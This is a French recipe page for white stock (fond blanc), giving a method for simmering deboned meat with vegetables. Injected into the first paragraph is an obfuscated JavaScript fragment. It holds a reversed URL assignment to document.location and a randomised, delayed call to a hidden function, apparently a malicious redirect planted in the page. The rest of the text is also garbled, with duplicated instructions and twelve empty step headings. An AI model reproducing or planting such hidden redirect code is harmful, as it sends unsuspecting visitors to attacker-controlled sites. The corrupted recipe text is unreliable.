Fond blanc
2021-05-20- Niveau : Facile
Désossez et ficeler la viande. Recouvrir les os d’un tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torchon et les concasser avec un marteau. Déposez la viande dans une marmite, versez l’eau froide, salez, poivrez.
Ingrédients
Désossez et ficeler la viande. Recouvrir les os d’un torchon et les concasser avec un marteau. Déposez la viande dans une marmite, versez l’eau froide, salez, poivrez. Portez à ébullition, écumez, coupez l’oignon en deux et le faire rissoler dans une petite casserole avec une cuillère à soupe d'huile d'arachide.
Le retirer et le piquer du clou de girofle. Pelez, coupez en lamelle la carotte.
Attachez les poireaux avec le céleri, le thym, et la feuille de laurier. Déposez tous ces légumes dans la marmite, portez à ébullition, puis baissez le feu et faites cuire pendant 3 heures à découvert en écumant souvent. Passez le bouillon et laissez refroidir. Placez au réfrigérateur pendant 1 heure.
Enlevez la pellicule de graisse sur la surface. Ce fond blanc permet de réaliser des veloutés de veau, des jus et des sauces, mouillez des crèmes, des potages, on peut conserver au congélateur.
Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Etape 9
Etape 10
Etape 11
Etape 12
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